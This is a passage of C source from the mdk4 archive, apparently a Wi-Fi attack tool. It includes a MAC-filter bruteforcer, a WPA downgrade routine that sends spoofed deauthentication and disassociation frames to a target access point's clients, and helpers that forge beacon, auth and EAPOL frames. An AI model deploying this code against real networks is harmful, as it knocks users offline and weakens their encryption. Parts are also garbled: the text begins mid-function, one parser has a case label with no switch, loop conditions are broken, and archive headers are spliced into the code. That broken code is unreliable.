raise only a little tv_dyntimeout.tv_usec += (((tv_diff.tv_usec * 4) - tv_dyntimeout.tv_usec) / 4); } //High timeouts due to bad signal? Don't go above 250 milliseconds! //And avoid a broken timeout (less than half an ms, more than 250 ms) if (tv_dyntimeout.tv_usec > 250000) tv_dyntimeout.tv_usec = 250000; if (tv_dyntimeout.tv_usec < 500) tv_dyntimeout.tv_usec = 500; } } //reset has_packet, send condition clear_packet (after memcpy!) has_packet_really = 0; pthread_cond_signal(&clear_packet); // if not: dont get a new mac later! } else { get_new_mac = 0; mac_brute_timeouts++; } } // Get a new MAC???? if (get_new_mac) { current_mac = get_next_mac(); // Set this MACs first time mark gettimeofday(&tv_start, NULL); } // Create packet and send rtnpkt = create_auth_frame(target, 0, current_mac); mac_b_init = 1; return rtnpkt; } struct pckt wpa_downgrade() { struct pckt rtnpkt; static int state = 0; int plen; rtnpkt.len = 0; rtnpkt.data = NULL; // A null packet we return when captured packet was useless // This ensures that statistics will be printed in low traffic situations switch (state) { case 0: // 0: Waiting for a data packet from target //Sniff packet plen = osdep_read_packet(pkt_sniff, MAX_PACKET_LENGTH); if (plen < 36) return rtnpkt; //Is from target network? if (! is_from_target_ap(target, pkt_sniff)) return rtnpkt; //Is a beacon? if (pkt_sniff[0] == 0x80) { wpad_beacons++; return rtnpkt; } //Is data (or qos data)? if ((! (pkt_sniff[0] == 0x08)) && (! (pkt_sniff[0] == 0x88))) return rtnpkt; //Is encrypted? if (! (pkt_sniff[1] & 0x40)) { if ((pkt_sniff[30] == 0x88) && (pkt_sniff[31] == 0x8e)) { //802.1x Authentication! wpad_auth++; } else { wpad_wep++; } return rtnpkt; } //Check WPA Enabled if ((pkt_sniff[27] & 0xFC) == 0x00) { wpad_wep++; return rtnpkt; } state++; // 0: Deauth AP -> Station return create_deauth_frame(get_macs_from_packet('a', pkt_sniff), get_macs_from_packet('s', pkt_sniff), get_macs_from_packet('b', pkt_sniff), 0); break; case 1: // 1: Disassoc AP -> Station state++; return create_deauth_frame(get_macs_from_packet('a', pkt_sniff), get_macs_from_packet('s', pkt_sniff), get_macs_from_packet('b', pkt_sniff), 1); break; case 2: // 2: Deauth Station -> AP state++; return create_deauth_frame(get_macs_from_packet('s', pkt_sniff), get_macs_from_packet('a', pkt_sniff), get_macs_from_packet('b', pkt_sniff), 0); break; case 3: // 3: Disassoc Station -> AP //Increase cycle counter wpad_cycles++; state = 0; return create_deauth_frame(get_macs_from_packet('s', pkt_sniff), get_macs_from_packet('a', pkt_sniff), get_macs_from_packet('b', pkt_sniff), 1); break; } printf("BUG: WPA-Downgrade: Control reaches end unexpectedly!\n"); return rtnpkt; } /* Response Checkers */ void print_mac_bruteforcer_stats(struct pckt packet) { unsigned char *m = packet.data+10; float timeout = (float) tv_dyntimeout.tv_usec / 1000.0; printf("\rTrying MAC %02X:%02X:%02X:%02X:%02X:%02X with %8.4f ms timeout at %3d MACs per second and %d retries\n", m[0], m[1], m[2], m[3], m[4], m[5], timeout, mac_brute_speed, mac_brute_timeouts); mac_brute_speed = 0; mac_brute_timeouts = 0; } void print_wpa_downgrade_stats() { static int wpa_old = 0, wep_old = 0, warning = 0, downgrader = 0; printf("\rDeauth cycles: %4d 802.1x authentication packets: %4d WEP/Unencrypted packets: %4d Beacons/sec: %3d\n", wpad_cycles, wpad_auth, wpad_wep, wpad_beacons); if (wpad_beacons == 0) { printf("NOTICE: Did not receive any beacons! Maybe AP has been reconfigured and/or is rebooting!\n"); } if (wpa_old < wpad_cycles) { if (wep_old < wpad_wep) { if (!warning) { printf("REALLY BIG WARNING!!! Seems like a client connected to your target AP leaks PLAINTEXT data while authenticating!!\n"); warning = 1; } } } if (wpa_old == wpad_cycles) { if (wep_old < wpad_wep) { downgrader++; if (downgrader == 10) { printf("WPA Downgrade Attack successful. No increasing WPA packet count detected. HAVE FUN!\n"); downgrader = 0; } } } wpa_old = wpad_cycles; wep_old = wpad_wep; wpad_beacons = 0; } void print_stats(char mode, struct pckt packet, int responses, int sent) { // Statistics dispatcher switch (mode) { case 'f': print_mac_bruteforcer_stats(packet); break; case 'g': print_wpa_downgrade_stats(); break; /*TODO*/ } } /* MDK Parser, Setting up testing environment */ int mdk_parser(int argc, char *argv[]) { int nb_sent = 0, nb_sent_ps = 0; // Packet counters char mode = '0'; // Current mode unsigned char *ap = NULL; // Pointer to target APs MAC char check = 0; // Flag for checking if test is successful struct pckt frm; // Struct to save generated Packets char *ssid = NULL; // Pointer to generated SSID int pps = 50; // Packet sending rate int t = 0; time_t t_prev; // Struct to save time for printing stats every sec int total_time = 0; // Amount of seconds the test took till now int chan = 1; // Channel for beacon flood mode int fchan = 0; // Channel selected via -c option int wep = 0; // WEP bit for beacon flood mode (1=WEP, 2=WPA-TKIP 3=WPA-AES) int gmode = 0; // 54g speed flag struct pckt mac; // MAC Space for probe mode int resps = 0; // Counting responses for probe mode int usespeed = 0; // Should injection be slown down? int random_mac = 1; // Use random or valid MAC? int ppb = 70; // Number of packets per burst int wait = 10; // Seconds to wait between bursts int adhoc = 0; // Ad-Hoc mode int adv = 0; // Use advanced FakeAP mode int renderman_discovery = 0; // Activate RenderMan's discovery tool int got_ssid = 0; char *list_file = NULL; // Filename for periodical white/blacklist processing t_prev = (time_t) malloc(sizeof(t_prev)); case 'f': mode = 'f'; usespeed = 0; MAC_SET_NULL(mac_lower); MAC_SET_NULL(mac_base); for (t=3; t t+1)) { printf(use_macb); return -1; } target = parse_mac(argv[t+1]); } if (! strcmp(argv[t], "-m")) { if (! (argc > t+1)) { printf(use_macb); return -1; } mac_base = parse_half_mac(argv[t+1]); } if (! strcmp(argv[t], "-f")) { if (! (argc > t+1)) { printf(use_macb); return -1; } mac_base = parse_mac(argv[t+1]); mac_lower = parse_mac(argv[t+1]); } } break; case 'g': mode = 'g'; usespeed = 0; for (t=3; t t+1)) { printf(use_wpad); return -1; } target = parse_mac(argv[t+1]); } } break; default: printf(use_head); return -1; break; } printf("\n"); if (mode == 'g') { if (target == NULL) { printf("Please specify MAC of target AP (option -t)\n"); return -1; } } /* Main packet sending loop */ while(1) { /* Creating Packets, do sniffing */ switch (mode) { case 'f': frm = mac_bruteforcer(); break; case 'g': frm = wpa_downgrade(); if (frm.data == NULL) goto statshortcut; break; case 'r': frm = renderman_discovery_tool(); break; } /* Sending packet, increase counters */ if (frm.len < 10) printf("WTF?!? Too small packet injection detected! BUG!!!\n"); osdep_send_packet(frm.data, frm.len); nb_sent_ps++; nb_sent++; /* Does another thread want to exit? */ if (exit_now) return 0; /* Waiting for Hannukah */ if (usespeed) usleep(pps2usec(pps)); statshortcut: /* Print speed, packet count and stats every second */ if( time( NULL ) - t_prev >= 1 ) { t_prev = time( NULL ); print_stats(mode, frm, resps, nb_sent_ps); if (mode != 'r') printf ("\rPackets sent: %6d - Speed: %4d packets/sec", nb_sent, nb_sent_ps); fflush(stdout); nb_sent_ps=0; resps=0; total_time++; } } // Play it again, Johnny! return 0; } mdk4-master/src/greylist.h0000644000175000017500000000051413525065636016577 0ustar samuelophsamueloph#ifndef HAVE_GREYLIST_H #define HAVE_GREYLIST_H #include "mac_addr.h" //Loads or appends to list of mac addresses. //to change list type, use filename NULL void load_blacklist(char *filename); void load_whitelist(char *filename); char is_blacklisted(struct ether_addr mac); char is_whitelisted(struct ether_addr mac); #endif mdk4-master/src/channelhopper.h0000644000175000017500000000057013525065636017565 0ustar samuelophsamueloph#ifndef HAVE_CHANNELHOPPER_H #define HAVE_CHANNELHOPPER_H //Takes a list of channels as string in format "1,2,3,4,5,6,7" //Starts hopping channels, switches channel round-robin style every useconds Âľs //If called again, it does nothing, only one hopper is possible (of course) void init_channel_hopper(char *chanlist, int useconds); void nl80211_init_channel_list(); #endif mdk4-master/src/packet.h0000644000175000017500000001461213525065636016210 0ustar samuelophsamueloph#ifndef HAVE_PACKET_H #define HAVE_PACKET_H #include #include "osdep/byteorder.h" #include "mac_addr.h" #define IEEE80211_TYPE_BEACON 0x80 #define IEEE80211_TYPE_DATA 0x08 #define IEEE80211_TYPE_QOSDATA 0x88 #define IEEE80211_TYPE_AUTH 0xB0 #define IEEE80211_TYPE_PROBEREQ 0x40 #define IEEE80211_TYPE_PROBERES 0x50 #define IEEE80211_TYPE_DEAUTH 0xC0 #define IEEE80211_TYPE_DISASSOC 0xA0 #define IEEE80211_TYPE_ASSOCREQ 0x00 #define IEEE80211_TYPE_ASSOCRES 0x10 #define IEEE80211_TYPE_REASSOCREQ 0x20 #define IEEE80211_TYPE_ACTION 0xD0 #define IEEE80211_TYPE_CTS 0xC4 #define IEEE80211_TYPE_NULL 0x48 #define DEFAULT_BEACON_INTERVAL 0x64 #define DEFAULT_11B_RATES "\x01\x04\x82\x84\x8b\x96" #define DEFAULT_11G_RATES "\x32\x08\x0c\x12\x18\x24\x30\x48\x60\x6c" #define DEFAULT_WPA_TKIP_TAG "\xDD\x18\x00\x50\xF2\x01\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02\x01\x00\x00\x50\xF2\x02\x00\x00" #define DEFAULT_WPA_AES_TAG "\xDD\x18\x00\x50\xF2\x01\x01\x00\x00\x50\xF2\x04\x01\x00\x00\x50\xF2\x04\x01\x00\x00\x50\xF2\x02\x00\x00" #define AUTH_ALGORITHM_OPEN 0x0000 #define AUTH_STATUS_SUCCESS 0x0000 #define AUTH_DEFAULT_DURATION 314 #define DEAUTH_REASON_UNSPEC 0x0001 #define DEAUTH_REASON_LEAVING 0x0003 #define DISASSOC_REASON_APFULL 0x0005 #define DISASSOC_REASON_LEAVING 0x0008 #define DEFAULT_LISTEN_INTERVAL 0x0001 #define BEACON_TAGTYPE_SSID 0x00 #define BEACON_TAGTYPE_MESHID 0x72 #define LLC_SNAP 0xAA #define LLC_UNNUMBERED 0x03 #define RSN_TYPE_KEY 0x03 #define RSN_DESCRIPTOR_KEY 0x02 #define MESH_ACTION_CATEGORY 0x0D #define MESH_ACTION_PATHSEL 0x01 #define MESH_TAG_PREQ 0x82 #define MESH_TAG_PREP 0x83 #define MAX_PACKET_SIZE 2048 struct packet { unsigned char data[MAX_PACKET_SIZE]; unsigned int len; }; struct ieee_hdr { uint8_t type; uint8_t flags; uint16_t duration; struct ether_addr addr1; struct ether_addr addr2; struct ether_addr addr3; uint16_t frag_seq; } __attribute__((packed)); struct beacon_fixed { uint64_t timestamp; uint16_t interval; uint16_t capabilities; } __attribute__((packed)); struct auth_fixed { uint16_t algorithm; uint16_t seq; uint16_t status; } __attribute__((packed)); struct assoc_fixed { uint16_t capabilities; uint16_t interval; } __attribute__((packed)); struct llc_header { uint8_t dsap; uint8_t ssap; uint8_t control; uint8_t encap[3]; uint16_t type; } __attribute__((packed)); struct rsn_auth { uint8_t version; uint8_t type; uint16_t length; uint8_t descriptor; uint16_t key_info; uint16_t key_length; uint64_t replay_counter; uint8_t nonce[32]; uint8_t key_iv[16]; uint64_t key_rsc; uint64_t key_id; uint8_t key_mic[16]; uint16_t wpa_length; } __attribute__((packed)); struct action_fixed { uint8_t category; uint8_t action_code; uint8_t tag; uint8_t taglen; } __attribute__((packed)); struct mesh_preq { uint8_t flags; uint8_t hop_count; uint8_t ttl; uint32_t discovery_id; struct ether_addr originator; uint32_t orig_seq; uint32_t lifetime; uint32_t metric; uint8_t target_count; uint8_t target_flags; struct ether_addr target; uint32_t target_seq; } __attribute__((packed)); struct mesh_prep { uint8_t flags; uint8_t hop_count; uint8_t ttl; struct ether_addr target; uint32_t target_seq; uint32_t lifetime; uint32_t metric; struct ether_addr originator; uint32_t orig_seq; } __attribute__((packed)); struct cts { uint8_t type; uint8_t flags; uint16_t duration; struct ether_addr dest; } __attribute__((packed)); //dsflags: 'a' = AdHoc, Beacon 'f' = From DS 't' = To DS 'w' = WDS (intra DS) //Set recv to SE_NULLMAC if you don't create WDS packets. (its ignored anyway) void create_ieee_hdr(struct packet *pkt, uint8_t type, char dsflags, uint16_t duration, struct ether_addr destination, struct ether_addr source, struct ether_addr bssid_or_transm, struct ether_addr recv, uint8_t fragment); struct ether_addr *get_bssid(struct packet *pkt); struct ether_addr *get_source(struct packet *pkt); struct ether_addr *get_destination(struct packet *pkt); struct ether_addr *get_transmitter(struct packet *pkt); struct ether_addr *get_receiver(struct packet *pkt); //encryption: 'n' = None 'w' = WEP 't' = TKIP (WPA) 'a' = AES (WPA2) //If bitrate is 54, you'll get an bg network, b only otherwise struct packet create_beacon(struct ether_addr bssid, char *ssid, uint8_t channel, char encryption, unsigned char bitrate, char adhoc); struct packet create_auth(struct ether_addr bssid, struct ether_addr client, uint16_t seq); struct packet create_probe(struct ether_addr source, char *ssid, unsigned char bitrate); struct packet create_deauth(struct ether_addr destination, struct ether_addr source, struct ether_addr bssid); struct packet create_disassoc(struct ether_addr destination, struct ether_addr source, struct ether_addr bssid); //Capabilities and SSID should match AP, so just copy them from one of its beacon frames struct packet create_assoc_req(struct ether_addr client, struct ether_addr bssid, uint16_t capabilities, char *ssid, unsigned char bitrate); struct packet create_cts(struct ether_addr destination, uint16_t duration); //Copy SSID or MeshID from Beacon Frame into String. Must free afterwards! Returns NULL on Errors (no beacon frame, no SSID tag found) //SSID len is also reported, because on hidden SSIDs, strlen() doesn't work, since the SSID is all NULLBYTES! //If you don't need that info, set ssidlen to NULL! char *get_ssid(struct packet *pkt, unsigned char *ssidlen); char *get_meshid(struct packet *pkt, unsigned char *meshidlen); uint16_t get_capabilities(struct packet *pkt); //Append data to packet void append_data(struct packet *pkt, unsigned char *data, int len); //Adds LLC header to a packet created with create_ieee_hdr(). You can use this to build unencrypted data frames or EAP packets. void add_llc_header(struct packet *pkt, uint16_t llc_type); //Adds EAP/WPA packet behind the LLC Header to create WPA Login packets void add_eapol(struct packet *pkt, uint16_t wpa_length, uint8_t *wpa_element, uint8_t wpa_1or2, uint8_t rsn_version, uint64_t rsn_replay); void increase_seqno(struct packet *pkt); uint16_t get_seqno(struct packet *pkt); //If pkt is NULL in set_seqno, the sequence number for the next call to create_ieee_hdr will be seqno + 1! void set_seqno(struct packet *pkt, uint16_t seqno); uint8_t get_fragno(struct packet *pkt); void set_fragno(struct packet *pkt, uint8_t frag, int last_frag); #endif mdk4-master/src/helpers.h0000644000175000017500000000103213525065636016373 0ustar samuelophsamueloph#ifndef HAVE_HELPERS_H #define HAVE_HELPERS_H char generate_channel(); char *generate_ssid(unsigned char malformed); // Call this again to read line after line // At end of file, it returns NULL // Start from the beginning by setting reset true char *read_next_line(char *filename, char reset); //Sleeps till the next packet should be sent base on pps packets per second void sleep_till_next_packet(unsigned int pps); //Convert hex input to binary memory, user needs to free result unsigned char *hex2bin(char *in, int *len); #endifmdk4-master/src/mac_addr.h0000644000175000017500000000330413525065636016467 0ustar samuelophsamueloph#ifndef HAVE_MACADDR_H #define HAVE_MACADDR_H #include #include #define NULLMAC "\x00\x00\x00\x00\x00\x00" #define BROADCAST "\xFF\xFF\xFF\xFF\xFF\xFF" #define MAC_IS_NULL(x) (! memcmp((x).ether_addr_octet, NULLMAC, ETHER_ADDR_LEN)) #define MAC_SET_NULL(x) (memset((x).ether_addr_octet, 0x00, ETHER_ADDR_LEN)) #define MAC_IS_BCAST(x) (! memcmp((x).ether_addr_octet, BROADCAST, ETHER_ADDR_LEN)) #define MAC_SET_BCAST(x) (memset((x).ether_addr_octet, 0xFF, ETHER_ADDR_LEN)) #define MAC_MATCHES(x,y) (! memcmp((x).ether_addr_octet, (y).ether_addr_octet, ETHER_ADDR_LEN)) #define MAC_COPY(x,y) (memcpy((x).ether_addr_octet, (y).ether_addr_octet, ETHER_ADDR_LEN)) #ifdef __GNUC__ #define VARIABLE_IS_NOT_USED __attribute__ ((unused)) #else #define VARIABLE_IS_NOT_USED #endif static VARIABLE_IS_NOT_USED struct ether_addr SE_NULLMAC = { .ether_addr_octet = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } }; enum mac_kind { MAC_KIND_RANDOM, MAC_KIND_CLIENT, MAC_KIND_AP }; struct ether_addr parse_mac(char *input); struct ether_addr parse_half_mac(char *input); // Generate a random MAC adress // kind : Which kind of MAC should be generated? // 0 : random MAC // 1 : valid client MAC // 2 : valid accesspoint MAC struct ether_addr generate_mac(enum mac_kind kind); // mac_base: User-Select first three bytes // If mac_base is NULLMAC, it uses base from known manufactor list // mac_lower: Pointer to the lower 3 bytes of the user-selected start address, that will be zeroed // mac_lower will be BROADCAST if we ran out of adresses! struct ether_addr get_next_mac(struct ether_addr mac_base, struct ether_addr *mac_lower); void print_mac(struct ether_addr pmac); #endif mdk4-master/src/greylist.c0000644000175000017500000000373313525065636016600 0ustar samuelophsamueloph#include #include #include #include "greylist.h" #include "helpers.h" struct greylist { struct ether_addr mac; struct greylist *next; }; typedef enum { BLACK_LIST, WHITE_LIST, }list_type; struct greylist *glist = NULL; struct greylist *blist = NULL; struct greylist *wlist = NULL; char black = 0; char white = 0; struct greylist *add_to_greylist(struct ether_addr new, struct greylist *gl) { struct greylist *gnew = malloc(sizeof(struct greylist)); gnew->mac = new; if (gl) { gnew->next = gl->next; gl->next = gnew; } else { gl = gnew; gnew->next = gnew; } return gl; } struct greylist *search_in_greylist(struct ether_addr mac, struct greylist *gl) { struct greylist *first; if (! gl) return NULL; first = gl; do { if (MAC_MATCHES(mac, gl->mac)) { return gl; } gl = gl->next; } while (gl != first); return NULL; } void load_greylist(list_type type, char *filename) { char *entry; if (filename) { entry = read_next_line(filename, 1); while(entry) { if (!search_in_greylist(parse_mac(entry), glist)) //Only add new entries { glist = add_to_greylist(parse_mac(entry), glist); } free(entry); entry = read_next_line(filename, 0); } if(type == BLACK_LIST) { blist = glist; black = 1; } else if(type == WHITE_LIST) { wlist = glist; white = 1; } } } void load_blacklist(char *filename) { load_greylist(BLACK_LIST, filename); } void load_whitelist(char *filename) { load_greylist(WHITE_LIST, filename); } char is_blacklisted(struct ether_addr mac) { struct greylist *entry; if (black) { entry = search_in_greylist(mac, blist); if (entry) return 1; } return 0; } char is_whitelisted(struct ether_addr mac) { struct greylist *entry; if (white) { entry = search_in_greylist(mac, wlist); if (entry) return 1; } return 0; } mdk4-master/src/packet.c0000644000175000017500000003100613525065636016177 0ustar samuelophsamueloph#include #include #include #include "packet.h" static uint16_t seqno = 0; void create_ieee_hdr(struct packet *pkt, uint8_t type, char dsflags, uint16_t duration, struct ether_addr destination, struct ether_addr source, struct ether_addr bssid_or_transm, struct ether_addr recv, uint8_t fragment) { struct ieee_hdr *hdr = (struct ieee_hdr *) pkt->data; //If fragment, do not increase sequence if (!fragment) seqno++; seqno %= 0x1000; if (fragment > 0x0F) { printf("WARNING: Fragment number exceeded maximum of 15, resetting to 0.\n"); fragment = 0; } hdr->type = type; hdr->flags = 0x00; //if (wep) hdr->flags |= 0x40; //If somebody needs WEP, here it is :D switch (dsflags) { case 'a': //Ad Hoc, Beacons: ToDS 0 FromDS 0 Addr: DST, SRC, BSS MAC_COPY(hdr->addr1, destination); MAC_COPY(hdr->addr2, source); MAC_COPY(hdr->addr3, bssid_or_transm); break; case 'f': //From AP to station: ToDS 0 FromDS 1 Addr: DST, BSS, SRC hdr->flags |= 0x02; MAC_COPY(hdr->addr1, destination); MAC_COPY(hdr->addr2, bssid_or_transm); MAC_COPY(hdr->addr3, source); break; case 't': //From station to AP: ToDS 1 FromDS 1 Addr: BSS, SRC, DST hdr->flags |= 0x01; MAC_COPY(hdr->addr1, bssid_or_transm); MAC_COPY(hdr->addr2, source); MAC_COPY(hdr->addr3, destination); break; case 'w': //WDS: ToDS 1 FromDS 1 Addr: RCV, TRN, DST ... SRC hdr->flags |= 0x03; MAC_COPY(hdr->addr1, recv); MAC_COPY(hdr->addr2, bssid_or_transm); MAC_COPY(hdr->addr3, destination); memcpy((pkt->data) + (sizeof(struct ieee_hdr)), source.ether_addr_octet, ETHER_ADDR_LEN); break; default: printf("ERROR: DS Flags invalid, use only a, f, t or w! Frame will have no MAC addresses!\n"); } hdr->duration = htole16(duration); hdr->frag_seq = htole16(fragment | (seqno << 4)); //TODO: Maybe we need to add support for other frame types beside DATA and Beacon. // A good idea would also be QoS Data support pkt->len = sizeof(struct ieee_hdr); if ((hdr->flags & 0x03) == 0x03) pkt->len += 6; //Extra MAC in WDS packets } struct ether_addr *get_addr(struct packet *pkt, char type) { uint8_t dsflags; struct ieee_hdr *hdr; struct ether_addr *src = NULL, *dst = NULL, *bss = NULL, *trn = NULL; if(! pkt) { printf("BUG: Got NULL packet!\n"); return NULL; } hdr = (struct ieee_hdr *) pkt->data; dsflags = hdr->flags & 0x03; switch (dsflags) { case 0x00: dst = &(hdr->addr1); src = &(hdr->addr2); bss = &(hdr->addr3); break; case 0x01: bss = &(hdr->addr1); src = &(hdr->addr2); dst = &(hdr->addr3); break; case 0x02: dst = &(hdr->addr1); bss = &(hdr->addr2); src = &(hdr->addr3); break; case 0x03: bss = &(hdr->addr1); trn = &(hdr->addr2); dst = &(hdr->addr3); src = (struct ether_addr *) &(pkt->data) + (sizeof(struct ieee_hdr)); break; } switch (type) { case 'b': return bss; case 'd': return dst; case 's': return src; case 't': return trn; } return NULL; } struct ether_addr *get_bssid(struct packet *pkt) { return get_addr(pkt, 'b'); } struct ether_addr *get_source(struct packet *pkt) { return get_addr(pkt, 's'); } struct ether_addr *get_destination(struct packet *pkt) { return get_addr(pkt, 'd'); } struct ether_addr *get_transmitter(struct packet *pkt) { return get_addr(pkt, 't'); } struct ether_addr *get_receiver(struct packet *pkt) { return get_addr(pkt, 'b'); } void add_ssid_set(struct packet *pkt, char *ssid) { pkt->data[pkt->len] = 0x00; //SSID parameter set pkt->data[pkt->len+1] = (uint8_t) strlen(ssid); //SSID len memcpy(pkt->data + pkt->len + 2, ssid, strlen(ssid)); //Copy the SSID pkt->len += strlen(ssid) + 2; } void add_rate_sets(struct packet *pkt, char b_rates, char g_rates) { if (b_rates) { memcpy(pkt->data + pkt->len, DEFAULT_11B_RATES, 6); //11 MBit pkt->len += 6; } if (g_rates) { memcpy(pkt->data + pkt->len, DEFAULT_11G_RATES, 10); //54 MBit pkt->len += 10; } } void add_channel_set(struct packet *pkt, uint8_t channel) { pkt->data[pkt->len] = 0x03; //Channel set pkt->data[pkt->len+1] = 0x01; //One channel pkt->data[pkt->len+2] = channel; pkt->len += 3; } struct packet create_beacon(struct ether_addr bssid, char *ssid, uint8_t channel, char encryption, unsigned char bitrate, char adhoc) { struct packet beacon; struct beacon_fixed *bf; static uint64_t internal_timestamp = 0; struct ether_addr bc; MAC_SET_BCAST(bc); create_ieee_hdr(&beacon, IEEE80211_TYPE_BEACON, 'a', 0, bc, bssid, bssid, SE_NULLMAC, 0); bf = (struct beacon_fixed *) (beacon.data + beacon.len); internal_timestamp += 0x400 * DEFAULT_BEACON_INTERVAL; bf->timestamp = htole64(internal_timestamp); bf->interval = htole16(DEFAULT_BEACON_INTERVAL); bf->capabilities = 0x0000; if (adhoc) { bf->capabilities |= 0x0002; } else { bf->capabilities |= 0x0001; } if (encryption != 'n') bf->capabilities |= 0x0010; beacon.len += sizeof(struct beacon_fixed); add_ssid_set(&beacon, ssid); add_rate_sets(&beacon, 1, (bitrate == 54)); add_channel_set(&beacon, channel); if (encryption == 't') { memcpy(beacon.data + beacon.len, DEFAULT_WPA_TKIP_TAG, 26); beacon.len += 26; } if (encryption == 'a') { memcpy(beacon.data + beacon.len, DEFAULT_WPA_AES_TAG, 26); beacon.len += 26; } return beacon; } struct packet create_auth(struct ether_addr bssid, struct ether_addr client, uint16_t seq) { struct packet auth; struct auth_fixed *af; create_ieee_hdr(&auth, IEEE80211_TYPE_AUTH, 'a', AUTH_DEFAULT_DURATION, bssid, client, bssid, SE_NULLMAC, 0); af = (struct auth_fixed *) (auth.data + auth.len); af->algorithm = htole16(AUTH_ALGORITHM_OPEN); af->seq = htole16(seq); af->status = htole16(AUTH_STATUS_SUCCESS); auth.len = 30; return auth; } struct packet create_probe(struct ether_addr source, char *ssid, unsigned char bitrate) { struct packet probe; struct ether_addr bc; MAC_SET_BCAST(bc); create_ieee_hdr(&probe, IEEE80211_TYPE_PROBEREQ, 'a', 0, bc, source, bc, SE_NULLMAC, 0); add_ssid_set(&probe, ssid); add_rate_sets(&probe, 1, (bitrate == 54)); return probe; } struct packet create_deauth(struct ether_addr destination, struct ether_addr source, struct ether_addr bssid) { struct packet deauth; uint16_t *reason; create_ieee_hdr(&deauth, IEEE80211_TYPE_DEAUTH, 'a', AUTH_DEFAULT_DURATION, destination, source, bssid, SE_NULLMAC, 0); reason = (uint16_t *) (deauth.data + deauth.len); if (MAC_MATCHES(source, bssid)) { *reason = htole16(DEAUTH_REASON_UNSPEC); //AP to Station deauth is with unspecified reason } else { *reason = htole16(DEAUTH_REASON_LEAVING); //Station to AP deauth is with reason "I am leavin the network" } deauth.len += 2; return deauth; } struct packet create_disassoc(struct ether_addr destination, struct ether_addr source, struct ether_addr bssid) { struct packet disassoc; uint16_t *reason; create_ieee_hdr(&disassoc, IEEE80211_TYPE_DISASSOC, 'a', AUTH_DEFAULT_DURATION, destination, source, bssid, SE_NULLMAC, 0); reason = (uint16_t *) (disassoc.data + disassoc.len); if (MAC_MATCHES(source, bssid)) { *reason = htole16(DISASSOC_REASON_APFULL); //AP to Station: I kick you because I am crowded! } else { *reason = htole16(DISASSOC_REASON_LEAVING); //Station to AP: Bye bye, I am leaving the network! } disassoc.len += 2; return disassoc; } struct packet create_assoc_req(struct ether_addr client, struct ether_addr bssid, uint16_t capabilities, char *ssid, unsigned char bitrate) { struct packet assoc; struct assoc_fixed *af; create_ieee_hdr(&assoc, IEEE80211_TYPE_ASSOCREQ, 'a', AUTH_DEFAULT_DURATION, bssid, client, bssid, SE_NULLMAC, 0); af = (struct assoc_fixed *) (assoc.data + assoc.len); af->capabilities = htole16(capabilities); af->interval = htole16(DEFAULT_LISTEN_INTERVAL); assoc.len += sizeof(struct assoc_fixed); add_ssid_set(&assoc, ssid); add_rate_sets(&assoc, 1, (bitrate == 54)); return assoc; } struct packet create_cts(struct ether_addr destination, uint16_t duration) { struct packet pkt; struct cts *cts; cts = (struct cts *) pkt.data; cts->dest = destination; cts->duration = duration; cts->flags = 0; cts->type = IEEE80211_TYPE_CTS; pkt.len = sizeof(struct cts); return pkt; } char *get_id_type(struct packet *pkt, unsigned char *ssidlen, unsigned char type) { char *ssid = NULL; struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data); unsigned char *tags = pkt->data + sizeof(struct ieee_hdr) + sizeof(struct beacon_fixed); if ((hdr->type != IEEE80211_TYPE_BEACON) && (hdr->type != IEEE80211_TYPE_PROBERES)) return NULL; //Thats neither a beacon nor a probe response, therefor it has no SSID while (tags < (pkt->data + pkt->len)) { if (tags[0] == type) { ssid = malloc(tags[1] + 1); if (ssidlen) *ssidlen = tags[1]; memcpy(ssid, tags + 2, tags[1]); ssid[tags[1]] = 0x00; return ssid; } tags += tags[1] + 2; } //No ID found in Beacon Frame! return NULL; } char *get_ssid(struct packet *pkt, unsigned char *ssidlen) { return get_id_type(pkt, ssidlen, BEACON_TAGTYPE_SSID); } char *get_meshid(struct packet *pkt, unsigned char *meshidlen) { return get_id_type(pkt, meshidlen, BEACON_TAGTYPE_MESHID); } uint16_t get_capabilities(struct packet *pkt) { struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data); struct beacon_fixed *bf = (struct beacon_fixed *) (pkt->data + sizeof(struct ieee_hdr)); if (hdr->type != IEEE80211_TYPE_BEACON) return 0; //Thats not a beacon, therefor it has no capabilities return le16toh(bf->capabilities); } void append_data(struct packet *pkt, unsigned char *data, int len) { memcpy(pkt->data + pkt->len, data, len); pkt->len += len; } void add_llc_header(struct packet *pkt, uint16_t llc_type) { struct llc_header *llc; llc = (struct llc_header *) (pkt->data + sizeof(struct ieee_hdr)); llc->dsap = LLC_SNAP; llc->ssap = LLC_SNAP; llc->control = LLC_UNNUMBERED; llc->encap[0] = 0x00; llc->encap[1] = 0x00; llc->encap[2] = 0x00; llc->type = htobe16(llc_type); pkt->len += 8; } void add_eapol(struct packet *pkt, uint16_t wpa_length, uint8_t *wpa_element, uint8_t wpa_1or2, uint8_t rsn_version, uint64_t rsn_replay) { struct rsn_auth *rsn; uint32_t t; rsn = (struct rsn_auth *) (pkt->data + sizeof(struct ieee_hdr) + sizeof(struct llc_header)); rsn->version = rsn_version; rsn->type = RSN_TYPE_KEY; rsn->length = htobe16(sizeof(struct rsn_auth) + wpa_length - 4); rsn->descriptor = RSN_DESCRIPTOR_KEY; rsn->key_info = htobe16(0x0108); // Key MIC flag + Pairwise flag if (wpa_1or2 == 1) rsn->key_info |= htobe16(0x0001); if (wpa_1or2 == 2) rsn->key_info |= htobe16(0x0002); rsn->key_length = htobe16(0); rsn->replay_counter = htobe64(rsn_replay); for (t=0; t<32; t++) rsn->nonce[t] = random(); memset(rsn->key_iv, 0x00, 16); rsn->key_rsc = htobe64(0); rsn->key_id = htobe64(0); for (t=0; t<16; t++) rsn->key_mic[t] = random(); rsn->wpa_length = htobe16(wpa_length); memcpy(pkt->data + sizeof(struct ieee_hdr) + sizeof(struct llc_header) + sizeof(struct rsn_auth), wpa_element, wpa_length); pkt->len += sizeof(struct rsn_auth) + wpa_length; } void increase_seqno(struct packet *pkt) { uint16_t frgseq; struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data); frgseq = letoh16(hdr->frag_seq); frgseq += 0x10; //Lower 4 bytes are fragment number hdr->frag_seq = htole16(frgseq); } uint16_t get_seqno(struct packet *pkt) { uint16_t seq; struct ieee_hdr *hdr = (struct ieee_hdr *) (pkt->data); seq = letoh16(hdr->frag_seq); seq >>= 4; return seq; } uint8_t get_fragno(struct packet *pkt) { uint16_t seq; struct ieee_hdr *hdr = (struct ieee_hdr *) 